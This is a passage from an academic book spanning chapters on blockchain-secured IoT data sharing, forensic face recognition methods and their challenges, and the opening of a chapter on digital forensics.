uses the cheap, lower power consumption, limited capacity processors and 
memory [10]. The application domain area of IoT has also been reported 
by [11]. Some researchers [12] divided the application domains of IoT into 
five categories. Figure 9.3 depicts the complete domain areas of IoT.

Data in IoT is the single most major entity in the whole paradigm. The 
data could be any of the following types in IoT:

• Transformed
• Data in Transit
• Stored
• Generated

Heterogeneity of networks and devices in IoT make data collection and 
sharing one of the major challenges. Some researchers like [13] have pro-
foundly emphasized the challenge of data sharing and the criticality of data 
exchange among multiple heterogeneous networks. Also, the challenge 
comes while we try to integrate data that is random and raw in nature to 
mine something meaningful before sharing it. It was also discussed by [14] 
that the transformation and exchange of noisy data and data that comes 
from the real world into meaningful information-rich data poses a grave 
challenge. Traditional interfaces for data sharing in IoT also present a 
greater challenge for information exchange in IoT domains.     

Before data is shared, it needs to be collected from some source and 
this was promoted by [15]. They emphasized an authentication scheme 
and data gathering tools. The researchers also discussed the complexity 
of simultaneous data collection from a plethora of heterogeneous net-
work elements. A Computer Assisted Mass Appraisal (CAMA) Based Data 
Collection Model was also proposed by [15] in which data was collected in 
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a cyclic way from the devices. The problem in data collection comes when 
the radius of access point is larger and is very hard to collect data from 
all the devices simultaneously and hence sharing also becomes a prob-
lem.  Since there is a limited storage capability of each device in IoT [16], 
it was suggested that information mining should be one thing to focus on. 
Researchers in [17] made the challenge of data collection from myriad 
devices using trivial techniques a concern. 

The data from devices is shared among multiple devices which are fun-
damentally heterogeneous and hence pose a challenge while storing shar-
ing and mining of this multidimensional data.   

In IoT, data is categorized into three parts:

• Stating Data
 This type of data contains information mostly that defines 

the physical object, e.g., owner information, identification 
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number or serial, location tracking information and the 
state of being idle or busy. 

• Produced Data
 This is the type of data that is acquired by the objects and 

then shared with other objects.
• Absorbed Data
 The sensors sense the data and then share the data. This type 

of data poses a major challenge in handling and exchange. 

Now, Harnessing of data in IoT, for the purpose of sharing and consum-
ing is done by industry as well as researchers in many IoT domains which 
are also known as Data-shared IoT [18]. Common data shared domains are 
shown in Figure 9.4 above. 

In intelligent transportation, the sensors are installed on vehicles and 
cities as well. The applications of which encompass smart parking, acci-
dent avoidance, lighting control and smart traffic handling. Also, like Tesla, 
autonomous driving could also be achieved.  In this domain, the data must 
be shared among the entities for proper functioning of the whole ecosys-
tem [19]. The challenge in data sharing comes because the data is time 
critical and there must be no delays that could possibly jeopardize data 
integrity.   

Smart utilities involve many public services one of the most common 
being smart grids. Data generated in such networks is heterogeneous which 
is ultimately required by the applications in real time. Data sharing again 
poses a great challenge due to the heterogeneity and connectivity issues.  
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Figure 9.4 Data shared IoT domains.
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Data in smart industry is generated by sensors for machinery and per-
formance monitoring. Data sharing among various devices to work opti-
mally is a major challenge. Smart farming data works on precision and the 
challenge in data sharing comes from the sensors [20] with variable accu-
racy and precision, uncertainties and ambiguities and issues with interop-
erability [21].

Smart healthcare is one domain which has grown exponentially. The 
data from wearables and many other applications in healthcare come from, 
again, heterogeneous devices which are prone to battery and accuracy lim-
itations. Also, data sharing is of vital concern when the privacy of users is 
taken into consideration. 

Smart homes are developed with the intention to assist the homeowner 
in managing and optimizing the energy consumption as well as providing 
security solutions. Data sharing is a challenge here because data must be 
anonymized to cater to the issues related to user data privacy which is 
done at the cost of processing overheads [9] and cause delays in the data 
sharing.

9.3 Why Blockchain?

Blockchain technology has gained a lot of popularity after being first 
implemented in Bitcoin and it is expected to be the next big thing after 
the Internet. Blockchain offers so many advantages that organizations have 
started to switch over to this distributed environment. Blockchain technol-
ogy annihilates the need for a central authority such as a bank to make the 
transactions happen. The transactions are uploaded in the blockchain net-
work and are verified by the nodes in the network in a real-time fashion. It 
saves both time and the charges incurred in making the transactions occur. 
It also eliminates the single point of failure and performance bottleneck 
issues related to the centralized systems.

Blockchain technology is immutable and append-only in nature so that 
once the transactions in a Blockchain are stored these cannot be altered 
with. If an adversary tries to change a transaction in a block, the verifying 
nodes in the Blockchain network will not allow this change to occur. So 
blockchain provides the security to our data with which no one can tamper 
with.

IoT technology in itself faces many challenges and most of all the 
security challenges that limits the full application capability of such a 
profound technology. Blockchain was inherently designed to be secure 
and immutable. The data exchange between sensors could possibly be 
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done using blockchain to keep the malicious and unwanted nodes out. 
Blockchain in IoT could eliminate the bottlenecks and inaccuracies which 
in turn would facilitate autonomy. In addition to that, peer-to-peer com-
munication could be made possible as well. Since trust is inherent now 
and no mediator is required, deployment costs could also be lowered 
significantly. 

Blockchain in IoT can be beneficial in many ways; some of them are as 
under [22]:

• Better Security
• Optimized Data sharing
• Easy Trust
• Lesser Costs

The researchers in [23] also discuss the benefits that will be incurred 
using Blockchain in IoT as new optimized ecosystem, reduced costs and 
risks, enhanced processing, high trust and security, notion of micro- 
transactions, anti-counterfeit and validation.

The idea of central authority while sharing of data among devices can 
be wholly eliminated using blockchain’s smart contracts and hence achiev-
ing autonomous functioning. Also, Blockchain’s Proof of Work consensus 
algorithms and distributive nature for shared record could be exploited for 
a better and secure IoT [24]. 

IoT is essentially a centralized network. It faces security challenges 
which blockchain caters to by providing consensus algorithms, tracking 
and continuous monitoring and peer-to-peer secure data sharing [25]. 
The reduced cost for processing transactions and improved security 
using rule-based consensus mechanisms is also achieved using block-
chain [26]. 

Since blockchain provides a distributive ledger which is shared among 
multiple nodes and which is immutable in nature, it is not easy to tamper 
or have identity thefts [27]. Blockchain can also be beneficial in providing 
an intrusion detection system where the product codes communicate with 
each other [28]. Blockchain has dramatically improved RFID management 
using a lightweight authentication protocol [29].  

Blockchain provides transparency of transactions in the network. 
Anyone who has a copy of the blockchain downloaded can view any trans-
action. The Blockchain is open to everyone and is accessible to all the users. 
Blockchain technology provides anonymity to the users and to some extent 
does not reveal the real identity of a user by providing the addresses to the 
user in the form hashes.
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9.4 IoT Data Sharing Security Mechanism On 
Blockchain

Traditionally, IoT data sharing occurs via cloud or offline which suffers 
from serious issues such as performance bottleneck, low efficiency, and 
costly in nature. Moreover, the central authority is vulnerable to a num-
ber of attacks which can result in data tampering and privacy breach. The 
data sharing in IoT systems based on cloud or offline modes can result 
in security issues which can result in information leakage and tampering. 
The central servers are unable to cope with the exponential growth of data 
generated from an IoT information sharing security mechanism based 
on blockchain technology [30]. To address these issues Blockchain-based 
security mechanisms have been suggested while sharing IoT data.

The idea of using Blockchain technology in data sharing in IoT devices is 
to ensure that the security parameter remains intact while the data is being 
shared. The term security is an umbrella for characteristics such as authen-
ticity, confidentiality, integrity, and non-repudiation. The Blockchain 
network uses consensus algorithms such Proof-of-Work, Proof-of-Stake, 
DPBFT to validate the transactions; ensure that no block is forged by 
attackers, and that the Blockchain is always consistent and updated. 

The IoT information sharing is one task that must be accomplished with 
high security. This security encompasses many parameters like integrity, 
authentication, reliability and confidentiality, etc. Blockchain makes use 
of Proof of Work mechanism to shield against attacks and guaranteeing 
the integrity and consistency of a data block. The use of cryptography by 
blockchain makes sharing of data secure and protects the data from attacks 
like man-in-the-middle, etc. Blockchain network uses Merkle trees to store 
the hashes of the transactions in a block. The Merkle root is used to verify 
the contents of a block and makes sure that no transaction has changed 
since it was dumped in the Blockchain. 

9.4.1 Double-Chain Mode Based On Blockchain Technology

Making the data from the IoT end device less prone to tampering and 
guaranteeing the reliability of the source data, since reliability acts as the 
foundation of the whole information exchange, the nodes with central-
ized managements permissions may be given the authority to remove, add 
or falsify data. The first chain which is a data blockchain is required to 
gather all the data from the IoT node. Consequently, a private consensus 
is performed to create a data book. The sensor devices that encompass a 
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range of heterogeneous devices have limited resources; processing power, 
storage and communicative capabilities. Hence the processing and storage 
of data should not only be done in a way that reduces redundancy but also 
improves accuracy.  Since the data received from heterogeneous devices 
is heterogeneous in nature, it is vital to classify, standardize data expres-
sions and supply storage operations. After sensing the data, lightweight 
data is separated from the multimedia data. The latter type of data is then 
compressed and data quality is improved. Finally, after unifying and stan-
dardization of data expressions and data storage respectively, data is shared 
easily. The data is then categorized into account book data and distrib-
uted storage data. The account book data is the summary of the data which 
is stored in a node and the outsourced data is multimedia data which is 
stored in a fog node.

It has long been established that any traditional consistency method 
shall work successfully as there are no byzantine or malicious nodes pres-
ent in the network. Any network where there is a good possibility that a 
malicious node could be on the network, a consensus method which is 
byzantine fault tolerant and distributed in nature, is required. Hence, 
blockchain-based consensus mechanism is used to solve this problem 
while the exchange of data is happening among the nodes. It also solves the 
problem of who is responsible for generating a block and then maintain-
ing the consistency of the blockchain on all the participating nodes. The 
consensus mechanism in blockchain is based on computations and using 
the outcome to verify the transaction also known as Proof of Work (PoW) 
mechanism. This is finally used to establish if a new block is validated or 
not. It adds some complexity. This mechanism is also required to follow the 
principles of optimal chain and incentive, which essentially means longest 
chain, must be the correct chain; it also depicts the maximum workload. 
This mechanism is significant and mandatory because lack of such a mech-
anism would let everyone create their own chains which would result in 
the inconsistency of the whole system.  Now the reward-based mechanism 
in blockchain is used to motivate people to store and create blocks. As far 
as the trust architecture is concerned, the reader is provided with a label 
if the reader successfully forwarded the data and executed the command.

9.4.2 Blockchain Structure Based On Time Stamp

Also, the way an intermediate node behaves is reflected in the routing data, 
it may be true or false. As shown in Table 9.2, a reader’s trust is comprised 
of two parts: Routing trust and authorization trust. 
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Blockchain involves a series of blocks that are linked together to create 
an immutable chain of records that is permanent in nature. Each block 
contains a block header and block body containing the transactions. The 
block header contains information such as Block number, Merkle tree 
hash, timestamp, nonce, and parent block hash [31]. The transactions 
in a blockchain structure are time stamped and avoid the problems with 
the timestamps provided by the central authorities. The time stamping of 
transactions in a Blockchain network ensures the integrity and also avoids 
the double spending problem. As an application scenario in video record-
ing, time stamping can be useful in maintaining the integrity of a video 
captured over some time and making it impossible to change the contents 
of a video which can be produced as evidence in a court [32]. 

The time stamping provides the proof-of-existence for a document or 
a transaction in a Blockchain network. This process includes two steps: 
Hashing the document or transactions and recording the hash into the 
Blockchain. Each document in a Blockchain network is time stamped 
and hashed to create a Merkle tree which makes it sure that the docu-
ment becomes tamper-proof and existed some time. The hash produced 
ensures the security and privacy of the documents in a Blockchain. It is 
also efficient in terms of storage as the whole document or file need not to 
be stored; rather a hash which is of fixed length is stored.

After the hash is created for a file, it is stored in the Blockchain where 
a particular transaction ID, transaction hashes, Block number and time 
stamping information of a file are created. The transaction ID can later be 
used to retrieve the file for which the retrieval will be fast.

Table 9.2 Types of trust.

Type Reaction

Authorization based trust • Instructions/data is dropped by end node
• Some tampering is done with instructions/ 

data by terminal node
• Forgery by end-node
• Data correctness by terminal node

Routing based trust • Packet dropped by relay node
• Some tampering is done with packet by relay 

node
• Forgery by relay-node
• Route topology removed by relay node
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In the Bitcoin network, the transactions are hashed and submitted to 
Origin Stamp [33] which submits this hash to a Bitcoin Blockchain net-
work to create a tamper-proof storage of these transactions. When the hash 
of the transactions or files is submitted to the Bitcoin network, it becomes 
impossible to tamper the contents stored therein. 

9.5 Conclusion 

There is no single mechanism in the current IoT information domains 
which can guarantee a safe and completely secure information exchange. 
Blockchain with its distributed and immutable properties has a profound 
potential in providing such a much-needed mechanism. Secure block-
chain-based information sharing using a double chain method seems very 
promising. In this model, two chains are used to secure the transactional 
data and the source data collection. Also, any sort of human tampering 
(modification or removing of data) can be avoided using consensus mech-
anisms. The traceability is also possible. However, the current setting has 
some performance issues which are due for improvements. 
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Abstract
Security systems have been one of the most challenging systems to secure assets 
and protect privacy over the past few years. Because of the increase in electronic 
transactions, the demand for rapid and precise identification and authentication 
is high. Face can be used as an identification and authentication tool. Face rec-
ognition possess many challenges like pose variation, blurriness, low resolution, 
illumination, facial expression, viewing angle and lighting conditions. Most of the 
work has been carried out to address the challenges in face recognition. Forensic 
face recognition is more challenging than normal face recognition because foren-
sic images are of poor quality due to facial images captured under unfavorable cir-
cumstances. The forensic world is also becoming difficult and challenging because 
numerous crimes occur frequently and criminal investigators use face as a valu-
able and forensic tool. Forensic experts use domain-specific methods and perform 
a manual comparison to identify the suspects.The manual comparison takes more 
time and effort. As a result, it is possible to develop novel approaches to automate 
the process of domain-specific methods. The main objective of this chapter is to 
describe how face recognition is an important and most significant topic in foren-
sics and the challenges which exist in forensic face recognition. From this chapter, 
researchers will be motivated to pursue research in the area of forensic face recog-
nition since research in this field is at an infant stage.

Keywords: Forensics, biometrics, composite sketch, forensic face recognition, 
partial occlusion, facial aging, facial marks
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10.1 Introduction 

Many everyday transactions and actions are carried out electronically, 
instead of with pencil, paper or face to face. This mode of operation 
with reference to electronic transaction demands fast, precise identifi-
cation and authentication of users. Access codes such as PINs are used in 
banks, offices, buildings and computer systems, etc., for identification 
and security clearances. Security is one of the most important concerns 
provided by the biometric. This is a unique and measurable feature of 
a human being that can be used automatically to identify or ascertain 
an individual’s identity. Facial authentication is one of the biometric 
authentications that use a person’s unique biological characteristics to 
verify that they are who they purport to be [1]. Biometrics are divided 
into two types in accordance with physiological and behavioural char-
acteristics. In physiology biometrics, data is generated from the mea-
surements carried out on the human body. Examples of physiology 
biometrics are Face, finger, iris and hand. In behavioural biometrics, 
data is generated from a human action. Examples of behavioural bio-
metrics are Voice, Signature and Keystroke. Facial recognition in the 
field of biometrics is very broad and presents many challenges in com-
parison with other biometrics. The reasons are stated below.

• Facial recognition does not involve physical interaction by 
the user.

• It provides a high level of verification and expert advice is 
not required to interpret the outcome of the comparison.

• This is the only biometric system that allows passive identi-
fication in a surplus environment.

Forensic science deals with the existence of a crime and will be proven 
by examining physical evidence, interpreting data and conducting tests. 
The main purpose of this chapter is to describe how forensic face recog-
nition is a hot topic for researchers and there is a need for automating 
the process of domain-specific methods which is followed by forensic 
experts for manual comparison. The challenges of forensic facial recog-
nition have not been fully addressed. Therefore, new approaches can be 
developed to automate the process of domain-specific methods for foren-
sic face recognition.
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10.2 Face Recognition 

The Face is a unique part and it is undeniably linked to its owner, expect 
for identical twins. There are two kinds of comparisons when it comes to 
facial recognition. 

• Verification: Here, the system compares the individual they 
claim to be with a yes or no decision [2]. The possible out-
comes in the verification task are shown in Figure 10.1.

• Identification: Here, the system compares the given test 
image with every other trained image in the database and 
provides a list of matching faces in order of priority. The pos-
sible outcomes in the identification task are shown in Figure 
10.2.

Face Recognition is the most important biometrics that humans use to 
identify each other. It has the unique advantage of being ubiquitous and 
universal compared to other biometrics as everyone has a face and they are 

Veri�cation
Task

Probe Not
Matched

Probe Match
False Accept

True Accept

True Reject

False Reject

Figure 10.1 Possible outcomes in the verification task [2].

Identi�cation
Task

Closed set
Identi�cation

Open  set
identi�cation

True Positive

False Positive

True Negative

False Negative

Figure 10.2 Possible outcomes in the identification task [2].
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ready to show the face. The use of face recognition in biometrics makes the 
identification process an automated one [2].

10.2.1 Literature Review on Face Recognition 

In this section, a brief summary of the different approaches employed in 
facial recognition is presented. 

An extended class-wise sparse representation (ECSR) for face recogni-
tion was proposed by Mingua et al. [3]. Here ECSR generates intraclass 
variations between testing and training image samples. Experiment was 
carried out on EYB, AR and CMU Multi-PIE dataset and the proposed 
method proves that it provides high recognition compared with other 
existing methods. Ahmed S. et al. [4] proposed a suggested algorithm 
called Elman neural algorithm. Here color space of the given input is con-
verted in to HSI, decomposition is carried out using curvelet transform 
and feature extraction is done using principal component analysis. Finally, 
Elman neural algorithm is applied for face detection. Experimental results 
prove that it provides a face recognition accuracy of 94%.

Mohannad et al. [5] proposed an approach based on enhanced human 
face recognition which uses local binary pattern histogram (LBPH descrip-
tor), multi K-Nearest Neighbor (KNN) and back propagation neural net-
works. Here, the experiment was conducted on three datasets: YALE, 
AT&T and Labeled Faces in the Wild (LFW) which shows tremendous 
improvement in face recognition accuracy. An approach based on Principal 
component analysis for feature extraction was proposed by Nikitha et al. 
[6] which uses Eigen faces to find a vector for best distribution of face 
images. Euclidean distance is used for matching and decision making. The 
proposed approach gives promising results under controlled conditions.

Reza et al. [7] employ feature extraction method based on multi-scale 
landmark-based histogram of gradients. In order to classify, the authors 
have used PCA whitened space. The method was experimented on FERET 
and authors’ dataset which provides an appreciable recognition accuracy 
of 81.46% and 74.21% respectively. Weihong Deng et al. [8] proposed a 
superposed linear representation classifier which improves collaborative 
representation. The proposed method is experimented on AR and FRGC 
database. Table 10.1 presents a comparison of various face recognition 
approaches.

From the above literature survey, it is observed that most of the work 
[9–13] available in the field of face recognition addresses challenges like 
pose variation, illumination changes, low resolution, facial expression, 
and blurriness. The use of Inception V3 Convolution Neural Network 
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Table 10.1 Comparison of various face recognition approaches.

Sl no. Author Method Dataset Accuracy

1 Narayan et al. 
[9] (2018)

Principal 
component 
analysis 
(PCA) and 
artificial 
neural 
network

Bio ID face 
database

92%

2 Reza Serajeh 
et al. [7] 
(2017)

Multiscale 
landmark 
histogram 
of gradients 
and PCA 
whitened 
space

FERET database 81.46%

3 Mohammad 
Alghaili 
et al. [10] 
(2020)

Deep learning 
with filter 
algorithm

Labeled faces in 
wild dataset 
(LFW) and 
YouTube face 
database

99.7%
94.02%

4 Ridha Ilyas 
et al. [11] 
(2020)

Inception V3 
convolution 
neural 
network 
architecture

Extended Yale B 
Database and 
CMU PIE 
Face database

99.44%
99.89%

5 Rajath et al. 
[12] (2015)

PCA and back 
propagation 
neural 
networks 
(BPNN) 

ORL face 
database

88%

6 Yang et al. 
[13] (2018)

Fusion layered 
LBP feature

ORL face 
database

8% increase 
in the 
accuracy
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architecture for face recognition achieves a higher recognition rate of 
99.89% among all other methods. 

10.2.2 Challenges in Face Recognition 

Some of the challenges in face recognition are stated below.

• Illumination variations: Because of variations in lighting 
conditions, facial appearance changes dramatically as shown 
in Figure 10.3.

• Pose variations: The movement of the head and the change 
in an individual’s viewing angle are the two factors that 
influence changes in posture as shown in Figure 10.4.

• Facial expressions: Human expressions are of two types: 
macro-expressions and micro-expressions. Both the expres-
sions are present in the human face, which will have great 
impact on the state of emotions, which is shown in Figure 
10.5.

Figure 10.3 Illumination variations [14].

Figure 10.4 Pose variations [14].
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• Camera variations: Different cameras will have a different 
lens output. As a result, it will have great impact on the cap-
tured image.

10.2.3 Applications of Face Recognition

• In China, face recognition technology has been imple-
mented in ATMs, which provides security to the card user. 
It works by mapping, facial data with the stored database.

• In Australia, automated face recognition software is imple-
mented in the passport office. This software is used to iden-
tify the documents such as driving license, immigration 
visas. 

• Facial recognition database is built in USA to improve the 
quality of criminal investigation and crime detection.

• Face detection software was used in Mexico to prevent 
duplicate voting, because several people had attempted to 
vote multiple times with different names.

• For tracking employee attendance, a facial recognition sys-
tem is used. Here the system collects the face pinpoints 
which are stored in the database. The employee will look at 
the camera and attendance is taken automatically.

• Face recognition technology is used in several churches to 
monitor the visitors. Here, the CCTV footages of visitors are 
compared against the high resolution image database.

10.3 Forensic Face Recognition

Forensic science deals with the existence of a crime, and attempt will be 
made to establish proof by examining physical evidence, interpreting 

Figure 10.5 Facial expressions [14].
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data and conducting tests. In forensics, the incident has already occurred 
and generation of evidence is completely uncontrolled by the user. Face 
Recognition in forensics has become a ubiquitous tool for investigation.

The role of Forensic science laboratories (FSL) is to produce evidence in 
legally admissible form which helps in the recognition of evidence mate-
rial at the scene of crime by interpreting the forensic clues. There are three 
categories of Forensic science laboratories: central FSLs, state FSLs, Mini 
& local FSLs. They are situated at Hyderabad, Kolkata, Chandigarh, New 
Delhi, Guwahati, Bhopal and Pune.

There are two working groups in the field of forensic science: Facial 
Identification Scientific Working Group (FISWG) which works under the 
Federal Bureau of Investigation (FBI) in Biometric Center of Excellence 
(BCOE) and International Association for Identification under the 
European Network of Forensic Science Institutes. The main objectives of 
these working groups are to standardize the best practices in facial identifi-
cation and to address new facial identification challenges [33].

The manual verification of two facial images or a live subject and a facial 
image to infer whether they belong to the same individual or not is known 
as forensic facial identification. This process helps in identifying the sus-
pects quickly. The architecture of forensic face recognition for both manual 
and automated comparison is shown in Figure 10.6.

To perform manual method of facial identification, forensic experts use 
four types of domain specific methods. They are holistic comparison, mor-
phological analysis, photo anthropometry and superimposition [15].

Database
(IDs are known) Automatic

match
Probe

Top N
candidates

Manual 1:1
match

Manual 1:N
match

Gallery
(ID is known)

Manual
inspection

Figure 10.6 Architecture of forensic face recognition for manual and automated approach 
[13].
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• Holistic Comparison: It utilizes the global information and 
performs face to face comparison.

• Morphological Analysis: In this analysis, the individual 
characteristics of the face are extracted and classification is 
performed.

• Photo Anthropometry: Facial parameters of facial features, 
distance and angle between facial landmarks are considered.

• Superimposition: Here, an image will be superimposed on 
another image.

In the manual facial identification process, forensic experts consider a 
few parameters; relative distance between different features, shape of facial 
components, contour of cheek and chin are considered for comparison 
[29]. 

The manual facial identification process in forensics science is a slow 
and tedious job. To overcome this problem, an automated facial identifica-
tion system can be developed in forensics.

10.3.1 Literature Review on Face Recognition for Forensics

In this section, a brief overview of the different approaches used for foren-
sic facial recognition is presented.

Hu et al. [16] proposed an approach based on the combination ofFine 
Tuning Dual Stream, Deep Network (FTDSDN) with Multi-scale Pyramid 
Decision for forensics face identification. An experiment was carried out 
on FERET and NIR-VIS 2.0 database. An approach based on artificial neu-
ral networks (ANN) was proposed by Shivaleela et al. [17] for identifying 
digital images from both forensic and composite sketch. From the exper-
iment’s results, it proves that it provides an appreciable recognition accu-
racy of 95% for composite sketch. An approach based on Local Feature 
Discriminant Analysis was proposed by Ujwala Tayade et al. [18] which 
works on mapping given composite sketch to mug shots. Experimental 
results prove that the proposed approach provides appreciable recognition 
accuracy.

Setumin et al. [19] proposed an approach which uses a combination of 
Nearest Neighbor algorithm and L1 distance measure for matching com-
posite sketch with the photo. An experimented was carried out on three 
datasets CUHK, CUFS and FERET. An approach based on deep learn-
ing architecture was proposed by Christian Galea et al. [20] which uses 
a combination of both composite and forensic sketches. Experimental 
results prove that the proposed approach provides promising results.  
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The challenges in forensic face recognition are completely addressed by 
Nicole Spaun et al. [15].

A technique based on mapping composite sketch to digital images cap-
tured by unmanned aerial vehicle was proposed by G Josemin Bala et al. 
[21]. Here Viola Jones algorithm is applied for face detection, and image 
assessment module is used to detect the quality of the image. Agarwal et al. 
[22] proposed an approach based on counter propogation neural network 
with biogeography particle swarm optimization for composite sketch–
based face recognition. 

The exemplar method was proposed by Wan et al. [23] which is used to 
discriminate between facial image and composite sketches. Cheragi et al. 
[24] proposed an approach which uses VGG- Face net as the base model 
and provides promising results for both matching and mismatching pairs. 
Radman et al. [25] proposed Multi-scale Markov random fields RF model 
and Facial Landmarks (MRF-FL) method for face sketch recognition. This 
method is used to reduce the distortions at the lower part of face contour. 
Comparison of various forensic face recognition approaches is illustrated 
in Table 10.2.

From the literature survey, it is observed that very few works [6–15] 
are reported in forensic face recognition field and achieved a recognition 
accuracy of 60.72%. As a result, it is possible to develop novel approaches 
to automate the process of domain-specific methods there by improving 
the recognition accuracy in this field.

Table 10.2 Comparison of various forensic face recognition approaches.

Sl no. Author Method Dataset Accuracy

1 Roy et al. [30] 
(2018)

RBPLQ with 
LQ and 
neural 
networks

 NIR VIS 
database

60.72%

2 Paritosh M 
et al. [31] 
(2015)

Single shot 
detector 
with gentle 
boost KO

Extended PRIP 
database

58.6%

3 Mittal et al. 
[32] (2015)

Deep belief 
network

Extended PRIP 
database

58%

4 Cheragi et al. 
[24] (2019)

VGG face net Extended PRIP 
database

28.1%
(Rank- 1 

accuracy)
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There is a difference between normal face recognition and forensic face 
recognition. In the normal face recognition, facial image is captured under 
the best scenario with good lighting conditions whereas in forensic face 
recognition facial image is captured under the worst scenario with vary-
ing lighting conditions. Various challenges like pose variations, brightness 
paradigm, illumination, facial expressions, etc., occurs in normal face rec-
ognition and are completely addressed by several authors. But in forensic 
face recognition, a dataset of criminals will be considered and these data-
sets contain numerous challenges, like partial occlusion and sketch-based 
recognition, which cannot be found in normal face recognition. A lot of 
challenges exist in forensic face recognition which are not addressed com-
pletely. Consequently, new approaches to forensic facial recognition can be 
developed in order to improve the recognition accuracy in this field.

10.3.2 Challenges of Face Recognition in Forensics 

Some of the challenges in forensic face recognition are stated below.

• Facial aging: As the age of a person varies, the shape/texture 
of the face varies. Current face recognition engines are not 
robust [26] to identify the changes incurred from the aging 
process. An Aging model for progression and age invariant 
discriminant features are the two approaches considered for 
solving age invariant face recognition, which is shown in 
Figure 10.7.

• Facial Marks: The presence of facial marks such as scars, 
moles and freckles in the face makes it very difficult to iden-
tify a suspect in the crime which is shown in Figure 10.8.

• Forensic Sketch Recognition: Forensic sketches are pro-
duced when a suspect’s photo is unavailable. These sketches 
are drawn by taking the description from eye witnesses 
which is shown in Figure 10.9.

• Face Recognition in Video: The faces in the video streams 
are captured via security cameras. Using these video streams, 
suspect identification becomes easy for the investigators 
which are shown in Figure 10.10.

• Partial Occlusion features: It includes features like wearing 
hats, sunglasses or scarf, having beard. The presence of these 
features in the face makes the facial identification process 
more challenging which is shown in Figure 10.11.
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age 51 40

age 41 34 

Figure 10.7 Facial aging [26].

Figure 10.8 Facial marks [26].

Probe Sketch Top Retrieval True Subject

Figure 10.9 Forensic sketch recognition [26].
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10.3.3 Possible Datasets Used for Forensic Face Recognition

In order to provide solutions for various forensic face recognition chal-
lenges, possible datasets like E-PRIP (Extended PRIP), CSA (Composite 
sketch with age variations), disguised faces in wild (DFW), FG-NET and 
AR face dataset can be used for experimentation. The glimpse of the images 
collected from different datasets which can be considered for experimenta-
tion is shown in Figure 10.12. 

10.3.4 Fundamental Factors for Improving Forensics Science 

Some of the fundamental factors which can be considered for improving 
the Forensic Science in any country are stated below.

• Forensic services should be independent, accredited and 
certified.

• Standard operating procedures should be well defined.

(a)

(b)

Figure 10.10 Face recognition in video [26].

Figure 10.11 Partial occlusion features [26].
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• A code of ethics for forensic science should be well defined 
and a penalty has to be imposed for those who disobey it.

• Improvement in the crime scenes which becomes easy for 
the criminal investigators to carry out the investigation.

• Centralization of forensic services in a single national foren-
sic science agency.

• Adequate funds must be available to carry out the research 
in forensic science.

10.3.5 Future Perspectives

Some of the future challenges that can be addressed in face forensics are 
stated below.

• Partial occlusion: The presence of partially occluded features 
in the face makes the forensic facial identification process 
more difficult.

• Sketch-based Recognition: The sketch is generated by artists 
when a photo of a suspect is not available during the crime. 
Matching the composite sketch to its corresponding digital 
images is a more challenging task.

• Face Individuality Models: Lack of face individuality models 
for false match.

• Component-based face recognition: Retrieving a few com-
ponents of a face like chin, eyebrows, eyes, nose, and mouth 
and matching operation is performed which is shown in 
Figure 10.13.

Internal External Eyes Nose Mouth Chin

Figure 10.13 Facial components [13].
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10.4 Conclusion 

Even though exhaustive research work has been done in the face recog-
nition domain with new approaches and techniques, very limited work 
is available on forensic face recognition [15]. In forensics, every situa-
tion seems different to investigators, so it becomes a very difficult task to 
identify the suspect with various challenges. Automation of forensic facial 
identification will become a great step ahead over the manual process of 
facial identification. A lot of challenges exist in forensic face recognition 
which are not yet been addressed completely. As a result, it becomes one 
of the motivations for researchers to continue research in this field. There 
always exists scope for the development of new approaches in the field of 
forensic face recognition.A reliable system must be in place to facilitate the 
identification of criminals and make it easier for investigators.
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Abstract
Traditional Computer Forensics seems to be no longer as trivial as decades ago, 
with a very restricted set of available electronic components, entering the age of 
digital formation of hardware and software too. It has recently been shown how 
cyber criminals are using a sophisticated and progressive approach to target digital 
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faces many problems due to the fact that billions of interconnected devices produce 
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11.1 Introduction

Since the invention of computer and internet facilities researchers have 
been working on finding vulnerabilities in software and hardware devices. 
Hackers are continuously trying to bypass the conventional security for 
personal gain or profit. A criminal uses advanced tools to command and 
control over a computer system; also, such criminals are trained for how 
to exploit the vulnerabilities in order to commit any cybercrime activity. 
There are four factors that are always affected by cybercriminal activities: 
People, Property, Business and Government agencies. Figure 11.1 shows 
how different entities are targeted by cybercriminals using different cate-
gories of attacks and techniques.

Any computer that is exposed or connected to the Internet is at risk of 
being hacked and compromised. The popularity of the Internet is not only 
a shift in our view of life, but also a change in the view of crime in our com-
munity or around the world. The growing number of computer criminal 
activities every day is the justification for a forensic investigation. Digital 
technology is undergoing an explosion in development and applications. 
This explosion has given rise to a new concept of cybercriminals and the 
need for security and forensics specialists in the digital world. The aim of 
digital forensics is to address investigative or legal questions in order to 
prove or disprove a court case. In order to ensure that innocent people 
are not prosecuted and guilty parties are convicted, a full forensic process 
must be carried out by a competent prosecutor who applies quality control 

People Property Business Government

• Attack hide themselves behind
  fake o�ers, promotions, etc
• Steal personal information
  while creating illusion of any
  attraction
• Impersonating Organisations
  like bank,etc
• Internet Auction fraud
• Non-delivery of ecommerce
  product
• Misuse of credit and debit card
  information
• Child pornography
• Online Harassment or cyber
  bullying
• Cyber Stalking
• Trace individual activity, engage
  or invite them for meeting and 
  commit crime such as rape, 
  theft, murder etc.

• illegally enter into
  the computer or
  mobile device
  through malicious
  application
  software, email,
  browsing activity,
  ect.
• Perform Malware
  attack to destroy
  computer or hack 
  personal
  information.
• Bandwidth Theft

• Hack
  organisational
  server
• Steal �nancial and
  sensitive
  information
  through the
  internal employees
• Destroy servers
• Hack Organisation
  websites
• Due to
  unavailability of 
  organisational
  service create
  �nalancial loss

• Cyber Terrorism
• Cyber activities to 
   reduce faith of
   people from
   government
• Illegal protest for
  some activity
  unauthorised

Figure 11.1 Entities affected by criminal activity.
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procedures and meets guidelines. With respect to this Digital Forensics 
play an important role in law enforcement.

Digital forensics technologies are categories of various domain fields 
which are listed as follows:

 ➢ Networks Forensic – tracking, recording, preserving and 
examining network activities to determine the source of 
security threats, invasions of privacy or other attacks, such 
as malware, worms or malicious code, suspicious network 
traffic and privacy violations.

 ➢ Computer and Disk Forensic – Identification, preservation, 
processing, examination and reporting of information found 
on computers, gadgets and nonvolatile memory in support 
of enforcement and court action. Disk forensics is gathering 
the evidence from volatile memory (RAM) of working desk-
top or laptop which is considered as live  data acquisition.

 ➢ Database system Forensics – Forensic methodology involves 
data carving from file system and registry also. 

 ➢ Big-Data Forensic – Properly gathering and evaluating evi-
dence in big data environments involves a careful approach 
such that reliable, repeatable findings can be generated for 
analysis or use in legal proceedings.

 ➢ IOT and smart device Forensic – In-service platforms for 
IoT systems, such as home automation, intelligent transpor-
